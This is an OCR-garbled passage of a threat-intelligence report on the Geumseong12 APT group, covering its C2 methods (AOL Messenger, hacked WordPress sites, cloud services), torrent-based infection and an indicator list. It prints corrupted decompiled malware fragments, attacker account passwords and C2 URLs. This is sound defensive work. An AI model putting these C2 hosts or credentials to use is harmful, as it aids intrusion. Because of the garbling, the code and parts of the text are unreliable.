if { strstr{&Dbst,]"stAIF"Y || strstr{&Dst, "WOOSEOHG-PC") || strstr{&Dst, "T-PC")
{

SPFintF{&FiIEHﬂmEl_:c:HHUSEFSHHPUDliCHHCDnhDSt.EKE"];
ul1d = CreateFilea{&F1ileHame, Ox4080080006u, 1u, A, 2u, 8xX80u, 8);
vid = B8;
if ( vig *= (HAMDLE)}-1 }
{
vZE = B8;
do
{

[vza]|"= Bx55u;

++u20;
¥
while { v28 < 9262546 );

WriteFile{uvig, » Bx178088u, &HumberOfBytesWritten, B);
CloseHandle{uvid);

gethostbynamef“login.oscar .aol .com™]
vl )

= inet_ntoa{=*{struct in_addr ==)ub->h_addr_ list};
(char =){& — {_UHEHOWH =)jui};

w3 = =ui;
UvI1[{_DUWORD}uZ2] = =ui;
++1 ;
¥
while { v3 3;
¥
*{ DUWORD =) = =(_DWORD )" '%24#._%8"?>6he";
*{ DUORD =)& [4] = *=(_DWORD =)"#_%58'?>Ghe";
*{ DUORD =)& [B] = ={ DWORD =)' "%>6Gbe";
*{ WORD =)& [12] #{ WORD =)"be';
vl = B;
do

{

Bx57u;

[Figure 19] The code to communicate with AOL Messenger




It is noteworthy that the password code (dPQmMs&Thvidk1987), which is used to log in to AOL Messenger, will be
converted to '0f| #&AAI|0}1987 (Pretty&Sopial987)" in Korean when typing it with Hangul keyboard.

Attackers also use multiple Chinese expressions in AOL messenger communication. Another variant uses the 'Dajiahac
code as the mutex key, which means 'Hello everyone’ in Chinese. dPfWIs&Rkapfns19 is used as the password for the
AOL login account and it is changed to "B &HH[-219 (Yelchin&Kermelon19)' in Korean when typing with Korean

keyboard.

esi

ds:CreateMutex=n

esi, eax

ds:GetLastError

eax,

short loc 4BSA78

esi ; hdbject
ds:CloseHandle

eax,

getnostoynane [ Togin oscar 301 com

vl )

inet ntoa(==x{struct in_addr =*)ud->h_addr_ 1list});
(char =){& —= {_UHKEHOWH =)ui)};

u3 = =ui;
ul[{ DUWORD)u2] = =ui;
++yu;

¥

while { v3 J};

(98] [98];
[11 = [1]1;
[2] = [2];
{ [31) = [31;
vh = B;

do

while { v4 < 13 };
[8] = [9];
[1] = [1];
[2] = [2];
[3] = [3];

[Figure 20] Chinese greeting and Korean-convertible password



Many variants are found in various forms. In case of 'SEIKO' computer name, the following PDB path is observed and

emails like 'zum36085@zmail.ru’, 'pghlsn333@gmail.com' were used.

- F:#W2_Program¥#Orbis_zmail#ReleaseWRecvTest_zmail.pdb

The following PDB paths are identified in similar variants:

- F:#W2_Program¥#Orbis_academiafRelease¥RecvTest_zmail.pdb
- F:#W2_Program¥#Orbis_academiaWRelease#Recv_Pwd_2_India.pdb

Datal ; GUID
Dataz

; Datahy

"F:#%2_ProgramiOrbis_zmailWReleaseWRecuTest_zmail.pdb'L 8 ; PdbFileMame

[Figure 21] PDB code with Zmail test information

ESRC has been able to detect the attack technique aimed at an unspecified number of people in addition to the APT
target attacks. The attackers infect users by injecting the malware in illegal software by subscribing to the Korean

torrent website. Namely, they distribute the famous commercial software illegally after inserting malware inside.

Attackers have earned points as follows from the Korean torrent site, and they actively uploaded files and posted

comments as well.



AN e ASFE0E MNEFIE
2016-04-28 20:45:25 @R EOIE THH +3,700 0
2016-04-23 23:31:36 @HUZEDE +7.0858 0
2016-04-06 11:57:08 @E3 T3 +E,800 0
2016-04-04 21:46:59 @52 = st oA +1,910 I
2016-03-29 12:10:42 @247 &H +4,900 0
POTG-03-13 12111114 @SH=2H JH &H 1 I -300
2016-03-13 12:02:43 @TSEMA A I -4.600
2016-03-1312:00:26 @ZAH Y &H +5,750 I
20M6-02-24 22:04:19 @2 A +1,200 0
2016-02-21 16:33:25 @SH= = 1 +30 0
2015-06-19 22:17:59 @LHE2C &4 I -100
2015-06-09 03:57:32 @RETE +100 I
2015-06-07 12:01:48 @J|EF ZTUE &H +B00 0

4H +31.035 -5.000
22 ZOIE 26,035 ®

[Figure 22] Activity History in Korean torrent site

B Time Series Analysis of Geumseong12 Group

The attackers hacked the Korean website and used it as C2 server for a while after using the AOL Messenger
communication technique in the first half of 2013. However, they may have discovered that the technique is lack of
continuous availability after the websites are detected and quickly shut down by the security providers and managers.

After a while, they created a variant with excellent sustainability, exploiting the AOL Messenger communication

technique. After that, the infected WordPress-based websites were mainly used it as a watering hole attack base.

They mainly used Flash player vulnerability files and ‘Streamnation’ cloud account, which is a personal media hub
service, in attacks using the WordPress websites. The attackers continued to use the AOL messenger for the attacks,
but they chose WordPress websites as a C2 server for mediation server of spear phishing and watering hole attacks.

In the meantime, as the "Streamnation" service is closed in February 2016, the attackers launched the testing for
'zmail.ru’ service since the end of January 2016, which they had been continuously used before.



As such, the attackers attempted to change to the new C2 server system by introducing the 'zmail.ru' service and
start to introduce 'pCloud' service with the AOL messenger communication. When creating a cloud service account,
they use free email services not only in Korea but also in countries such as the US, China, India, and Russia.

As attack tactics have changed over time, CVE-2018-4878 vulnerability files have been sent to specific targets that had
not been added to friends via KakaoTalk messages, and Android malicious apps targeting smartphone users have also

been found.

The DOC document vulnerability attack on cryptocurrency was first reported overseas at the end of 2017. In addition,
the attackers are steadily upgrading attack technologies such as distribution of malware disquising as security

programs in Korea and China or infecting users via Torrent.

[Changes in C2 techniques according to Time Series]

March 26, 2013: AOL messenger service

April 20, 2013: Communication with a specific website in Korea
July 10, 2015: WordPress Website Communication

July 14, 2015: Streamnation Personal Cloud Service

August 09, 2015: Streamnation Personal Cloud Service
February 09, 2016: Official end of Streamnation Personal Cloud Service
April 11, 2016: Pcloud Personal Cloud Service

December 15, 2017: Official end of AOL Messenger service
December 12, 2017: PubNub laa$S Service

January 16, 2018: PubNub laa$S Service

February 23, 2018: PubNub laaS Service

August 14, 2018: PubNub laa$S Service
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[Figure 23] C2 communication that changes with time
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Conclusion

Bl Persistent Threat

In addition to the previous cases, similar infringement using the same loC code or metadata has been discovered for
many years in Korea, and ESRC is constantly pursuing the change process.

Further details will be available on 'Threat Inside’, which is the service scheduled to be launched from the second half

of the year. loCs and the specialized intelligence report are provided to corporate customers via ‘Threat Inside'.
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Il Press Resources

Fake AV Investigation Unearths KevDroid, New Android Malware

https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html

Reaper Group's Updated Mobile Arsenal

https://researchcenter.paloaltonetworks.com/2018/04/unit42-reaper-groups-updated-mobile-arsenal/

BT rtfiRoRE 27 SR B 2 AT iR &
https://s.tencent.com/research/report/274.html

X~ ot
= IT

I=!

74 A

— =

Ok

2 149, J 3 2ot T2y 9

Mn
Ok

https://www.boannews.com/media/view.asp?idx=72235

H File name
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.Zip
.hwp
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r
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HYal

denk.zip
360TS_Setup_Mini.exe
bitcoin-trans.doc
1.apk

conhost.exe

B Malware MD5
af6721145079a05da53c8d0f3656c65¢
1213e5a0be1fbd9a7103ab08fe8ea5ch
edc1bdb2d70e36891826fdd58682b6c4
b710e5a4ca00a52f6297a3cc7190393a
05eef00de73498167b2d7ebdc492c429
f32383f207b6cdd8abbcbcba26b1430
84cbbb8cdad90fba8b964297dd5c648a
ab2a4537c9d6761b36ae8935d1e5ed8a
fa39b3b422dc4232ef24e3f27fa8d69%e



8ab2819e42a1556ba81be914d6c3021f
24fe3fb56a61aad6d28ccc58f283017¢
9525c314ecbee7818ba%a819edb4a885
fa39b3b422dc4232ef24e3f27fa8d69%e

Bl Domain

http://endlesspaws.com/vog/tan[.]Jphp?fuck=x
http://endlesspaws.com/vog/denk[.]zip
seline.co.kr/datafiles/CNOOC[.]Jphp
www.causwc.or.kr/board_communityO1/board_community01/index2[.]Jphp
www.kumdo.org/admin/noti/files/iindex[.]Jphp
www.icare.or.kr/upload/board/index1[.]Jphp
cnjob.co.kr/data/blog/iindex[.Jphp

notac.co.kr/admin/case/iindex[.Jphp
http://ebsmpi.com/ipin/360/down[.]Jphp
http://cgalim.com/admin/hr/hr[.]Jdoc

Bl IP address

175.45.178.133

Bl Mutex name

taihaole9366

H CVE

CVE-2017-8759
CVE-2015-5119
CVE-2014-8439
CVE-2015-0313
CVE-2015-3090
CVE-2015-3105
CVE-2015-5119

B String

Haizi
LiuJin
srvrlyscss
TEM2A



ZZgt

fastcameron13

powercooper00

dPfWIs&Rkapfns19 (B &7HHZ 19)
dPQms&Thvldk1987 (Ofl &£ &AA L[ O} 1987)
S ABHE]

KIM[Administrator]

JAMIE[Jamie Kim]

DONGMIN[MinSk]

T-PCIT]

YONGJA-PC

USER

sec

CRACKER-PC

SEIKO
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